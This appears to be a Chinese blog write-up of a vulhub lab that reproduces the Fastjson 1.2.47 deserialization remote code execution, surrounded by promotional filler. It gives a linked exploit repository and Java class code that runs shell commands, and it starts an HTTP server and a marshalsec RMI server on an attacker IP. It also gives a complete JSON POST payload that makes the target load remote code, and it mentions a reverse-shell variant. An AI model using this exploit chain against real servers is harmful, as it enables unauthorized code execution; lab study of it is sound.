22 - vulhub - Fastjson 1(1)

现在能在网上找到很多很多的学习资源，有免费的也有收费的，当我拿到1套比较全的学习资源之前，我并没着急去看第1节，我而是去审视这套资源是否值得学习，有时候也会去问一些学长的意见，如果可以之后，我会对这套学习资源做1个学习计划，我的学习计划主要包括规划图和学习进度表。

分享给大家这份我薅到的免费视频资料，质量还不错，大家可以跟着学习

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化学习资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

复现方法与 fastjson 反序列化导致任意命令执行漏洞 [fastjson 1.2.47-rce]相似，只是换了一个EXP。

EXP下载地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE

下载下来里面是三个文件。如下：

---

---

漏洞利用限制

FastJson < 1.2.48

环境准备

靶机环境 139.196.87.102 (vulhub)

攻击机环境 192.168.0.101 （虚拟机 Kali 2020.2 、Java1.8、Burp）

启动 fastjson 反序列化导致任意命令执行漏洞 环境

1.进入 vulhub 的 Fastjson 1.2.47 路径

cd /usr/local/tools/vulhub/fastjson/1.2.47-rce

2.编译并启动环境

docker-compose up -d

3.查看环境运行状态

docker ps | grep rce

---

---

访问 8090 端口

---

---

---

漏洞利用

同样的需要先使用 javac 编译一个 TouchFile.class 文件

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {“touch”, “/tmp/success”};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}

}

}

或者直接利用上文中的 EXP https://github.com/CaijiOrz/fastjson-1.2.47-RCE , 该Exploit.java只是一段反弹shell的代码，需要修改为攻击机的ip和端口。[吐个槽,我反弹shell失败了,TouchFile倒是成功了]如下图：

---

---

---

这里我们直接使用 EXP 好了。

在该 EXP 目录下利用python模拟启动一个本地可以访问的服务器。

python -m SimpleHTTPServer 22222

---

---

---

同样的在当前目录启动LDAP服务,修改IP为当前这台服务器的IP

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.98.192.99:22222/#TouchFile" 9999

---

---

至此，我们整个攻击环境已经准备好。

验证漏洞利用是否成功

利用我们的攻击环境，向靶场发送payload。

构造好的请求包发送如下，注意Content-type格式要json，并且是post请求。

POST / HTTP/1.1

Host: 139.196.87.102:8090

Accept: /

Accept-Encoding: gzip, deflate

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Length: 268

Content-Type: application/json

{

“a”:{

“@type”:“java.lang.Class”,

“val”:“com.sun.rowset.JdbcRowSetImpl”

},

“b”:{

“@type”:“com.sun.rowset.JdbcRowSetImpl”,

“dataSourceName”:“rmi://47.98.192.99:9999/EXploit”,

“autoCommit”:true

}

}

进入容器，查看 success 文件是否创建。

---

---

---

---

说实话, 反弹shell真折腾人！

感谢每一个认真阅读我文章的人，看着粉丝一路的上涨和关注，礼尚往来总是要有的：

①　2000多本Python电子书（主流和经典的书籍应该都有了）

②　Python标准库资料（最全中文版）

③　项目源码（四五十个有趣且经典的练手项目及源码）

④　Python基础入门、爬虫、web开发、大数据分析方面的视频（适合小白学习）

⑤ Python学习路线图（告别不入流的学习）

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化学习资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！